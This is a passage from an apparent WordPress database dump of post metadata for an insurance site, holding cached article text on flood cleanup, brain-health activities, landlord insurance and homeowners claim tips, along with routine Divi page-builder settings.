later. In the case of a natural disaster, try your best to contact local authorities, and seek out a temporary shelter if needed.<br />\nWhen it&#8217;s safe to return indoors, the City of Philadelphia&#8217;s Flood Guide says that your first step is turning off the electricity to the area that&#8217;s been flooded. If you can&#8217;t access your circuit breaker without walking through water, call an electrician. Until the electricity is turned off, the water could cause electrical shocks.<br />\nIf flooding is coming from a water source inside your own home, immediately locate your main water valve and turn it off.<br />\nPull out your smartphone or camera before diving into cleaning. If you have insurance, photos and videos will help support your claim when you file. Document both damage to the house and its contents. (If renting, call your landlord immediately.)<br />\nAmerican Red Cross has some additional details on what to document for an insurance claim.<br />\nSafety remains the priority here. Gear up with rubber boots and gloves before going into an area that&#8217;s been flooded. Floodwaters can carry sewage and other hazardous materials.<br />\nThe first step in the cleaning process: Eliminating any remaining standing water by pumping, mopping, and/or opening clogged drains.<br />\nWhen pumping out a flooded basement, do it in stages. You also want to wait until there&#8217;s no standing water left in the yard around your home. Pumping too early or too fast could cause structural damage to your home.<br />\nWhen you pump water out all at once, pressure from water-saturated soil on the outside of your home may cause your basement walls to collapse. The Red Cross recommends pumping about one-third of the water per day.<br />\nAfter cleaning up the water, it&#8217;s time to start cleaning everything else. Again, wear protective gear, and open any windows or doors to improve ventilation.<br />\nDepending on the situation, floodwater may be contaminated with sewage or other dangerous bacteria. Be prepared to toss a lot, and take breaks when you need them. It&#8217;s normal for this process to feel overwhelming, both physically and emotionally.<br />\nThrow away food, medicine, and drinks that may have come in contact with floodwater. This includes canned goods, plastic utensils, baby bottle nipples, and containers with food or liquid that has been sealed shut. &#8220;When in doubt, throw it out,&#8221; says the Red Cross.<br />\nAlso toss items that absorb water and can&#8217;t be disinfected, like mattresses, cosmetics, stuffed animals, baby toys, and paper products. If you&#8217;re filing an insurance claim, store everything temporarily outside your home. You want to hang on to damaged items until your claim is processed.<br />\nDispose of all wet ceiling tiles, wet insulation, baseboards, and drywall to a level roughly four feet above the flood water line, says the City&#8217;s Flood Guide. You may also need to rip up your carpet. You can try saving it by wet vacuuming and shampooing it, but if it isn&#8217;t able to dry completely, it needs to go.<br />\nThen it&#8217;s time to salvage what remains. Sanitize anything that was touched or may have been splashed by floodwater, including counters, cabinets, work surfaces, utensils, cookware, and toys. The City&#8217;s Flood Guide recommends using soap and water first, and then wiping down surfaces with a diluted bleach solution, made from one gallon of clean water mixed with 1/4 cup of bleach. Use the bleach to also wipe down wood and metal studs, twice over, before allowing them to air-dry.<br />\nIf a flooded area isn&#8217;t taken care of properly, it will haunt you long after you&#8217;re finished cleaning up. Mold can harm both your furnishings and your health.<br />\nMildew and mold develop within 24 to 48 hours of water exposure and will continue to grow until the source of moisture is eliminated, says FEMA.<br />\nThis makes it important to clean and dry the flooded area as soon as possible. It&#8217;s also one reason why you have to remove porous, slow-to-dry materials, like drywall, ceiling tiles, carpeting, and upholstery.<br />\nWhen finished cleaning, use fans and dehumidifiers to speed up drying times.<br />\nIf mold develops, deal with it immediately. The U.S. Centers for Disease Control and Prevention has advice for getting rid of it yourself. Depending on the severity, and whether or not you&#8217;re immunocompromised, you may need to hire a professional mold remediation service. The CDC advises that you also get your heating, ventilating, and air-conditioning system checked. If the system was flooded with water or becomes infiltrated with mold, turning it on will spread mold throughout your house, and you&#8217;ll need a professional to clean it.</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(1850,698,'_et_pb_truncate_post_date','2020-10-05 03:10:17'),(1851,698,'_et_builder_version','VB|Divi|4.0.9'),(1852,698,'_et_pb_show_page_creation','off'),(1863,719,'_et_pb_built_for_post_type','page'),(1864,719,'_et_pb_ab_subjects',''),(1865,719,'_et_pb_enable_shortcode_tracking',''),(1866,719,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"719\" /]'),(1867,719,'_et_pb_custom_css',''),(1868,719,'_et_pb_gutter_width','3'),(1869,719,'_thumbnail_id',''),(1870,719,'_et_pb_first_image',''),(1871,719,'_et_pb_truncate_post',''),(1872,719,'_et_pb_truncate_post_date',''),(1873,719,'_et_builder_version','VB|Divi|4.0.9'),(1874,719,'_et_pb_show_page_creation','off'),(1875,724,'_edit_lock','1599684519:1'),(1876,724,'_edit_last','1'),(1877,724,'_et_pb_post_hide_nav','default'),(1878,724,'_et_pb_page_layout','et_right_sidebar'),(1879,724,'_et_pb_side_nav','off'),(1880,724,'_et_pb_use_builder','on'),(1881,724,'_et_pb_built_for_post_type','page'),(1882,724,'_et_pb_ab_subjects',''),(1883,724,'_et_pb_enable_shortcode_tracking',''),(1884,724,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"724\" /]'),(1885,724,'_et_pb_custom_css',''),(1886,724,'_et_pb_gutter_width','3'),(1887,724,'_thumbnail_id',''),(1888,724,'_et_pb_first_image',''),(1889,724,'_et_pb_truncate_post',''),(1890,724,'_et_pb_truncate_post_date',''),(1891,724,'_et_builder_version','VB|Divi|4.0.9'),(1892,724,'_et_pb_show_page_creation','off'),(1893,728,'_edit_lock','1599685741:1'),(1894,728,'_edit_last','1'),(1895,728,'_et_pb_post_hide_nav','default'),(1896,728,'_et_pb_page_layout','et_right_sidebar'),(1897,728,'_et_pb_side_nav','off'),(1898,728,'_et_pb_use_builder','on'),(1899,728,'_et_pb_built_for_post_type','page'),(1900,728,'_et_pb_ab_subjects',''),(1901,728,'_et_pb_enable_shortcode_tracking',''),(1902,728,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"728\" /]'),(1903,728,'_et_pb_custom_css',''),(1904,728,'_et_pb_gutter_width','3'),(1905,728,'_thumbnail_id',''),(1906,728,'_et_pb_first_image',''),(1907,728,'_et_pb_truncate_post',''),(1908,728,'_et_pb_truncate_post_date',''),(1909,728,'_et_builder_version','VB|Divi|4.0.9'),(1910,728,'_et_pb_show_page_creation','off'),(1911,734,'_edit_lock','1599687687:1'),(1912,734,'_edit_last','1'),(1913,734,'_et_pb_post_hide_nav','default'),(1914,734,'_et_pb_page_layout','et_right_sidebar'),(1915,734,'_et_pb_side_nav','off'),(1916,734,'_et_pb_use_builder','on'),(1917,734,'_et_pb_built_for_post_type','page'),(1918,734,'_et_pb_ab_subjects',''),(1919,734,'_et_pb_enable_shortcode_tracking',''),(1920,734,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"734\" /]'),(1921,734,'_et_pb_custom_css',''),(1922,734,'_et_pb_gutter_width','3'),(1923,734,'_thumbnail_id',''),(1924,734,'_et_pb_first_image',''),(1925,734,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_4 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_8\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_8  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Try these easy mind games to improve your brain function and help<br />\nprevent disease</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_9\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_9  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_9  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>Having trouble remembering a new name or doing more than one task at a time? You’re not alone. Studies show the brain’s volume peaks in your 20s and begins to decline after that, resulting in memory loss and other cognitive struggles.<br />\nThe good news is that by simply changing daily habits sooner than later, you can keep your mind sharp and lower the risk of dementia.<br />\n“Prioritizing your brain health at a younger age can have cumulative effects as you get older,” says Krystal Culler, founder of the consulting company Your Brain Health Matters and a senior fellow with the Global Brain Health Institute. “Engage in an active lifestyle that builds your brain’s cognitive reserve, which is stored up throughout your lifetime and includes continual lifelong learning, physical exercise, sleep, meditation, diet, socialization and volunteering, among other factors. Essentially, everything you do or don’t do can affect your brain. It’s neither too early nor too late to start a brain-healthy habit.”<br />\nThese cognitive pursuits promote healthy aging and may prevent or delay some diseases:<br />\nLet the games begin<br />\nThe card game of bridge is considered a cerebral sport because it teaches you logic, reasoning, quick thinking, patience, concentration and partnership skills.<br />\nA study at the University of California, Berkeley, found evidence that an area in the brain used in playing bridge stimulates the immune system. Researchers suggest that is because players must use memory and sequencing.<br />\nAccording to Joyce Mikal-Flynn, a nurse practitioner and neuroscience professor at Sacramento State University, “Board games, card games, crossword puzzles, jigsaw puzzles and matching games — all are creative and fun, which support brain health and wellness. Being fun brings forth more motivation to participate. And these activities are even better when engaging with others and being social. Interacting with others through teamwork is extremely helpful for brain health.” <br />\nYou can also add a twist to your games for  more memory improvement. For example, if you play Jenga, where you take turns removing a block from a tower while trying not to topple it, add a step where each player answers a trivia question or responds to someone in the group about a current event. <br />\nGet moving<br />\nResearch shows that physical activity for as little as 30 minutes several times a week can benefit the brain, and that people who are physically active are less likely to experience a decline in their mental function and have a lowered risk of developing Alzheimer’s disease.<br />\nStaying active can also help your brain by keeping the blood flowing and increasing the chemicals that protect it. “Physical activity can build brain cells, improve memory and keep you sharp,” says Mikal-Flynn. “It can also reduce your risk of Type 2 diabetes, which has been found to be an independent risk factor for dementia.” <br />\nFitness shouldn’t just be for the body. Establishing a mental fitness routine is equally important, says Culler. “Weekly brain engagement for a minimum of at least two hours, which is around 15 to 20 minutes per day, has benefits for aging adults.”<br />\nThe mental fitness exercise should be new, novel and challenging. For example, to gain additional benefits from reading, try a different section of the newspaper than you typically would or choose a new periodical. Read various sections out loud to activate different areas of your brain, and read with the intent to share the information with a friend. You will process the information differently, says Culler.<br />\nDestress<br />\nReducing stress is not only good for heart health but also brain health. The stress hormone cortisol can compromise the brain when stressors are chronic.<br />\nFor example, studies show that the hippocampus (a structure embedded deep in the temporal lobe that has a major role in learning and memory) is more likely to shrink if cortisol binds to it for long periods of time.<br />\nA brain-healthy way to lower stress is coloring. “Coloring increases the release of dopamine, a feel-good hormone, and removes your stress by taking your mind away from the difficult times,” says Olga Horvat, a color therapist and founder of Royal Dogs Gallery, which offers workshops and books on meditative coloring. <br />\nCuller also recommends setting aside time daily to “cool your brain,” and practice mindfulness. “Meditation is an excellent brain workout, and studies have found numerous benefits for the brain,” Culler adds. “If meditation is not a daily part of your routine, aim to add it in.” Start with a few minutes per day and then work your way up to longer intervals. </p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(1926,734,'_et_pb_truncate_post_date','2021-06-02 13:22:00'),(1927,734,'_et_builder_version','VB|Divi|4.0.9'),(1928,734,'_et_pb_show_page_creation','off'),(1929,739,'_edit_lock','1599687934:1'),(1930,739,'_edit_last','1'),(1931,739,'_et_pb_post_hide_nav','default'),(1932,739,'_et_pb_page_layout','et_right_sidebar'),(1933,739,'_et_pb_side_nav','off'),(1934,739,'_et_pb_use_builder','on'),(1935,739,'_et_pb_built_for_post_type','page'),(1936,739,'_et_pb_ab_subjects',''),(1937,739,'_et_pb_enable_shortcode_tracking',''),(1938,739,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"739\" /]'),(1939,739,'_et_pb_custom_css',''),(1940,739,'_et_pb_gutter_width','3'),(1941,739,'_thumbnail_id',''),(1942,739,'_et_pb_first_image',''),(1943,739,'_et_pb_truncate_post',''),(1944,739,'_et_pb_truncate_post_date',''),(1945,739,'_et_builder_version','VB|Divi|4.0.9'),(1946,739,'_et_pb_show_page_creation','off'),(1947,744,'_edit_lock','1599688198:1'),(1948,744,'_edit_last','1'),(1949,744,'_et_pb_post_hide_nav','default'),(1950,744,'_et_pb_page_layout','et_right_sidebar'),(1951,744,'_et_pb_side_nav','off'),(1952,744,'_et_pb_use_builder','on'),(1953,744,'_et_pb_built_for_post_type','page'),(1954,744,'_et_pb_ab_subjects',''),(1955,744,'_et_pb_enable_shortcode_tracking',''),(1956,744,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"744\" /]'),(1957,744,'_et_pb_custom_css',''),(1958,744,'_et_pb_gutter_width','3'),(1959,744,'_thumbnail_id',''),(1960,744,'_et_pb_first_image',''),(1961,744,'_et_pb_truncate_post',''),(1962,744,'_et_pb_truncate_post_date',''),(1963,744,'_et_builder_version','VB|Divi|4.0.9'),(1964,744,'_et_pb_show_page_creation','off'),(1965,748,'_edit_lock','1599688505:1'),(1966,748,'_edit_last','1'),(1967,748,'_et_pb_post_hide_nav','default'),(1968,748,'_et_pb_page_layout','et_right_sidebar'),(1969,748,'_et_pb_side_nav','off'),(1970,748,'_et_pb_use_builder','on'),(1971,748,'_et_pb_built_for_post_type','page'),(1972,748,'_et_pb_ab_subjects',''),(1973,748,'_et_pb_enable_shortcode_tracking',''),(1974,748,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"748\" /]'),(1975,748,'_et_pb_custom_css',''),(1976,748,'_et_pb_gutter_width','3'),(1977,748,'_thumbnail_id',''),(1978,748,'_et_pb_first_image',''),(1979,748,'_et_pb_truncate_post',''),(1980,748,'_et_pb_truncate_post_date',''),(1981,748,'_et_builder_version','VB|Divi|4.0.9'),(1982,748,'_et_pb_show_page_creation','off'),(1983,754,'_edit_lock','1650932246:1'),(1984,754,'_edit_last','1'),(1985,754,'_et_pb_post_hide_nav','default'),(1986,754,'_et_pb_page_layout','et_right_sidebar'),(1987,754,'_et_pb_side_nav','off'),(1988,754,'_et_pb_use_builder','on'),(1989,754,'_et_pb_built_for_post_type','page'),(1990,754,'_et_pb_ab_subjects',''),(1991,754,'_et_pb_enable_shortcode_tracking',''),(1992,754,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"754\" /]'),(1993,754,'_et_pb_custom_css',''),(1994,754,'_et_pb_gutter_width','3'),(1995,754,'_thumbnail_id',''),(1996,754,'_et_pb_first_image',''),(1997,754,'_et_pb_truncate_post',''),(1998,754,'_et_pb_truncate_post_date',''),(1999,754,'_et_builder_version','VB|Divi|4.0.9'),(2000,754,'_et_pb_show_page_creation','off'),(2001,758,'_edit_lock','1599689090:1'),(2002,758,'_edit_last','1'),(2003,758,'_et_pb_post_hide_nav','default'),(2004,758,'_et_pb_page_layout','et_right_sidebar'),(2005,758,'_et_pb_side_nav','off'),(2006,758,'_et_pb_use_builder','on'),(2007,758,'_et_pb_built_for_post_type','page'),(2008,758,'_et_pb_ab_subjects',''),(2009,758,'_et_pb_enable_shortcode_tracking',''),(2010,758,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"758\" /]'),(2011,758,'_et_pb_custom_css',''),(2012,758,'_et_pb_gutter_width','3'),(2013,758,'_thumbnail_id',''),(2014,758,'_et_pb_first_image',''),(2015,758,'_et_pb_truncate_post',''),(2016,758,'_et_pb_truncate_post_date',''),(2017,758,'_et_builder_version','VB|Divi|4.0.9'),(2018,758,'_et_pb_show_page_creation','off'),(2019,763,'_edit_lock','1599690978:1'),(2020,763,'_edit_last','1'),(2021,763,'_et_pb_post_hide_nav','default'),(2022,763,'_et_pb_page_layout','et_right_sidebar'),(2023,763,'_et_pb_side_nav','off'),(2024,763,'_et_pb_use_builder','on'),(2025,763,'_et_pb_built_for_post_type','page'),(2026,763,'_et_pb_ab_subjects',''),(2027,763,'_et_pb_enable_shortcode_tracking',''),(2028,763,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"763\" /]'),(2029,763,'_et_pb_custom_css',''),(2030,763,'_et_pb_gutter_width','3'),(2031,763,'_thumbnail_id',''),(2032,763,'_et_pb_first_image',''),(2033,763,'_et_pb_truncate_post',''),(2034,763,'_et_pb_truncate_post_date',''),(2035,763,'_et_builder_version','VB|Divi|4.0.9'),(2036,763,'_et_pb_show_page_creation','off'),(2037,767,'_edit_lock','1599695821:1'),(2038,767,'_edit_last','1'),(2039,767,'_et_pb_post_hide_nav','default'),(2040,767,'_et_pb_page_layout','et_right_sidebar'),(2041,767,'_et_pb_side_nav','off'),(2042,767,'_et_pb_use_builder','on'),(2043,767,'_et_pb_built_for_post_type','page'),(2044,767,'_et_pb_ab_subjects',''),(2045,767,'_et_pb_enable_shortcode_tracking',''),(2046,767,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"767\" /]'),(2047,767,'_et_pb_custom_css',''),(2048,767,'_et_pb_gutter_width','3'),(2049,767,'_thumbnail_id',''),(2050,767,'_et_pb_first_image',''),(2051,767,'_et_pb_truncate_post',''),(2052,767,'_et_pb_truncate_post_date',''),(2053,767,'_et_builder_version','VB|Divi|4.0.9'),(2054,767,'_et_pb_show_page_creation','off'),(2055,773,'_edit_lock','1599691543:1'),(2056,773,'_edit_last','1'),(2057,773,'_et_pb_post_hide_nav','default'),(2058,773,'_et_pb_page_layout','et_right_sidebar'),(2059,773,'_et_pb_side_nav','off'),(2060,773,'_et_pb_use_builder','on'),(2061,773,'_et_pb_built_for_post_type','page'),(2062,773,'_et_pb_ab_subjects',''),(2063,773,'_et_pb_enable_shortcode_tracking',''),(2064,773,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"773\" /]'),(2065,773,'_et_pb_custom_css',''),(2066,773,'_et_pb_gutter_width','3'),(2067,773,'_thumbnail_id',''),(2068,773,'_et_pb_first_image',''),(2069,773,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_0 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_0\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_0  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Insurance For Landlords: Protecting Your Investment</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_1\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_1  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>A rental property is one of the largest investments you can make, and in order to make sure your property is as lucrative as possible, it’s important to protect your investment to the best of your ability. When establishing yourself as a real estate investor, it is critical to acquire the right insurance to protect your business, your property, yourself and your tenants. At first glance, the range of insurance options can seem exhausting, but each involved party needs to be covered by the appropriate policy to stay safe — physically, financially and legally.<br />\nHomeowners Insurance<br />\nMany landlords rely on their standard homeowners insurance to protect their rental properties, but typical homeowners coverage is usually not sufficient to protect your investment property. Homeowners insurance usually covers owner-occupied homes, while a landlord-specific insurance policy will cover liability and damages related to tenant-occupied homes.<br />\nDepending on your specific situation, homeowners insurance may be sufficient without needing to seek out landlord insurance. If you only plan to rent out your property on occasion — such as for a specific event or while you’re on vacation — your homeowners insurance may suffice. If you plan to rent out single rooms while you also occupy the property, homeowners insurance may also be enough. Coverage varies based on your insurance company and policy, so be sure to contact your provider before you start looking for tenants.<br />\nLandlord Insurance<br />\nIf you’re planning on renting out your investment property to tenants on a regular basis, you’ll need to look into landlord insurance coverage. Insurance policies designed specifically for landlords provide protection not only for your property, but added protection for financial loss and obligations associated with your rental property. Similar to homeowners insurance, landlord insurance will help cover the property itself and your liability when it comes to the tenants who live at the property.<br />\nDepending on the insurance company you choose and the options included in your policy, there are a variety of coverages that may be included. Personal property coverage can help protect belongings used to service the rental property if you choose to rent the space furnished, where legal fee coverage can help protect you if you need legal representation regarding a lease agreement with a tenant. Not every landlord will choose to include every available coverage option on their policy; it is up to you to decide how much you want to spend in order to manage costs for damage or liability associated with your investment property.<br />\nProperty Management Insurance<br />\nIf you plan to manage multiple rental properties as a business, your insurance needs will once again change. If you are involved professionally in renting residential real estate, managing rental properties for others or contracting services for rental property owners, you’ll likely need to look into property management insurance coverage. Property managers need to have insurance that covers their business, their clients, their tenants and the properties they manage. If you’re simply a real estate investor or private owner renting out your home, look toward landlord insurance instead of property management insurance.<br />\nRenters Insurance<br />\nWhile landlord insurance will protect many things regarding your rental property, it only protects the owner’s property and belongings, not your tenants’ personal possessions. It is good standard practice to require your tenants to have their own renters insurance policy, which is an affordable way for your tenants to protect themselves and their personal property. Encouraging (or requiring) your tenants to have renters insurance can save you time and money should any accidents, damage or theft occur at your property.<br />\nMany renters don’t understand the importance of renters insurance because they assume your landlord policy will protect them. In fact, over 90% of homeowners carry a homeowners insurance policy, but less than 50% of renters have renters insurance in place. Renters insurance is an amazing tool to give your tenants protection for their personal belongings, against liability charges and against medical charges, and it helps them cover the cost of any property damage that may take place.<br />\nEquipping yourself and your renters with the right insurance is one of the best things you can do as a landlord to protect your business, your property and your tenants.</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(2070,773,'_et_pb_truncate_post_date','2020-10-05 03:10:17'),(2071,773,'_et_builder_version','VB|Divi|4.0.9'),(2072,773,'_et_pb_show_page_creation','off'),(2073,779,'_edit_lock','1599691746:1'),(2074,779,'_edit_last','1'),(2075,779,'_et_pb_post_hide_nav','default'),(2076,779,'_et_pb_page_layout','et_right_sidebar'),(2077,779,'_et_pb_side_nav','off'),(2078,779,'_et_pb_use_builder','on'),(2079,779,'_et_pb_built_for_post_type','page'),(2080,779,'_et_pb_ab_subjects',''),(2081,779,'_et_pb_enable_shortcode_tracking',''),(2082,779,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"779\" /]'),(2083,779,'_et_pb_custom_css',''),(2084,779,'_et_pb_gutter_width','3'),(2085,779,'_thumbnail_id',''),(2086,779,'_et_pb_first_image',''),(2087,779,'_et_pb_truncate_post',''),(2088,779,'_et_pb_truncate_post_date',''),(2089,779,'_et_builder_version','VB|Divi|4.0.9'),(2090,779,'_et_pb_show_page_creation','off'),(2091,783,'_edit_lock','1599691967:1'),(2092,783,'_edit_last','1'),(2093,783,'_et_pb_post_hide_nav','default'),(2094,783,'_et_pb_page_layout','et_right_sidebar'),(2095,783,'_et_pb_side_nav','off'),(2096,783,'_et_pb_use_builder','on'),(2097,783,'_et_pb_built_for_post_type','page'),(2098,783,'_et_pb_ab_subjects',''),(2099,783,'_et_pb_enable_shortcode_tracking',''),(2100,783,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"783\" /]'),(2101,783,'_et_pb_custom_css',''),(2102,783,'_et_pb_gutter_width','3'),(2103,783,'_thumbnail_id',''),(2104,783,'_et_pb_first_image',''),(2105,783,'_et_pb_truncate_post',''),(2106,783,'_et_pb_truncate_post_date',''),(2107,783,'_et_builder_version','VB|Divi|4.0.9'),(2108,783,'_et_pb_show_page_creation','off'),(2109,794,'_edit_lock','1603324682:1'),(2110,794,'_edit_last','1'),(2111,794,'_et_pb_post_hide_nav','default'),(2112,794,'_et_pb_page_layout','et_right_sidebar'),(2113,794,'_et_pb_side_nav','off'),(2114,794,'_et_pb_use_builder','on'),(2115,794,'_et_pb_built_for_post_type','page'),(2116,794,'_et_pb_ab_subjects',''),(2117,794,'_et_pb_enable_shortcode_tracking',''),(2118,794,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"794\" /]'),(2119,794,'_et_pb_custom_css',''),(2120,794,'_et_pb_gutter_width','3'),(2121,794,'_thumbnail_id',''),(2122,794,'_et_pb_first_image',''),(2123,794,'_et_pb_truncate_post',''),(2124,794,'_et_pb_truncate_post_date',''),(2125,794,'_et_builder_version','VB|Divi|4.0.9'),(2126,794,'_et_pb_show_page_creation','off'),(2127,799,'_edit_lock','1603324680:1'),(2128,799,'_edit_last','1'),(2129,799,'_et_pb_post_hide_nav','default'),(2130,799,'_et_pb_page_layout','et_right_sidebar'),(2131,799,'_et_pb_side_nav','off'),(2132,799,'_et_pb_use_builder','on'),(2133,799,'_et_pb_built_for_post_type','page'),(2134,799,'_et_pb_ab_subjects',''),(2135,799,'_et_pb_enable_shortcode_tracking',''),(2136,799,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"799\" /]'),(2137,799,'_et_pb_custom_css',''),(2138,799,'_et_pb_gutter_width','3'),(2139,799,'_thumbnail_id',''),(2140,799,'_et_pb_first_image',''),(2141,799,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_1 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_2\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Homeowners Insurance Claims Do&#8217;s and Don&#8217;ts You Should Be Fully<br />\nAware Of</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_3\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>Fact: Not all homeowners insurance policies are created equal. When it comes time to file a claim, many homeowners find that their policy covers only certain types of damage.</p>\n<p>&#8220;As a homeowner, you should thoroughly read your policy before you need it. Review your declarations page in order to fully understand what your policy covers and what your deductible will be for various types of losses,&#8221; says Raymond Plante, vice president of account services at Rainbow International Restoration.</p>\n<p>&#8220;This way, you aren&#8217;t hit with any unexpected surprises when you have to report a claim,&#8221; says Plante.</p>\n<p>When an unfortunate event happens (like a windstorm or a burglary), you&#8217;ll likely file a claim with your insurance company. But your life will be even more stressful if you make a mistake filing the claim or aren&#8217;t familiar with what your policy covers.<br />\nTo avoid any unexpected pitfalls, experts recommend that—in addition to knowing the ins and outs of your policy—you take certain steps to protect your property. Here are some insurance claims do&#8217;s and don&#8217;ts for homeowners.<br />\nDo: Document everything<br />\nThere’s no such thing as overdocumenting when it comes to claims. Your smartphone can be a handy tool to document each and every detail.<br />\n“Take plenty of pictures and videos detailing the story of your claim, including various angles and distances capturing the origin of the loss and the resulting damage to your dwelling and its contents,” says Plante.<br />\nIt’s also a good idea to get organized and create a separate folder to keep all your documented items together.<br />\n“Equally important, document all related expenses, save all receipts related to temporary repairs, alternative living expenses, contractors, plumbers, electricians, etc.,” says Plante.<br />\nDon&#8217;t: Delay filing your insurance claim<br />\nWhen an incident causing damage happens, homeowners should report it immediately.<br />\nMost insurance policies don&#8217;t put a time limit on how long you have to file a claim. They simply require &#8220;timely reporting of property damage,&#8221; says Plante.<br />\nA good rule of thumb is to file within one year of the incident.<br />\n&#8220;Some policies state the homeowner may be held responsible for subsequent damages due to delayed reporting or failure to make reasonable temporary repairs to prevent further damage,” Plante says.<br />\nDo: Use professionals to help you navigate the claims process<br />\nWhen damage happens, there’s so much to do and take care of. But don’t go at it alone. Claims representatives can help walk you through the process.<br />\n“For example, the insurance adjuster, mitigation contractor, insurance experts, and building inspectors should all be able to get in contact with homeowners,” says Plante. These professionals can help you deal with the fine details.<br />\nThe claims process can be arduous, so you should prepare a list of questions to ask claims professionals. For example: “Does my home insurance cover temporary living expenses?” Or, “When will an adjuster come to my house?”<br />\nDon&#8217;t: Allow a generalist to do the job<br />\nWhen it comes time for repairs, the last thing you need is shoddy work from a self-proclaimed jack-of-all-trades, especially since your home may have more damage than you are even aware of.<br />\n“After a hailstorm, if you have damage to your window glass, you’ll also likely have damage to your roof,” says Larry Patterson, owner of Glass Doctor of North Texas. “Your insurance company may tell you they have one person who can fix both types of damage, but be wary of this.”<br />\nA jack-of-all-trades may know how to fix a window, but he likely won’t have the expertise of a roofing expert. Therefore, find experts that know what they&#8217;re doing, and will be covered by your insurance company. This might mean going back and forth with your policy holder to find qualified professionals, but it&#8217;ll be worth it in the long run.<br />\nDo: Ensure you receive a warranty<br />\nGetting your home repaired after unforeseen disaster can put your family at ease and get your life back on track. But you’ll want to make sure that a repair job on your home comes with a warranty.<br />\nFor example, if your home has a lot of window glass damage, make sure you receive a warranty for your glass repair services.<br />\n“A strong warranty against seal failure, for example, will ensure you don’t have to pay to have the work completed again in a few years when your insurance company isn’t paying for it,” says Patterson.<br />\nDon&#8217;t: Pay a contractor in full before the work is completed<br />\nYour insurance company will be paying for some, or all, of the repairs. Yes, the money won&#8217;t be coming out of your pocket, but that doesn&#8217;t mean the insurance company should pay for a job half-done. Be careful not to pay in full or sign on the dotted line before work is actually done to your home. Make sure there is a plan for the work being done, and get all the details in writing.<br />\n“Work with the repair contractor to set expectations, including time frame, materials selection, inspections, payments, etc.,” says Plante. “This can prevent future headaches and ensure homeowners and contractors are on the same page.”<br />\nTo read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(2142,799,'_et_pb_truncate_post_date','2021-03-16 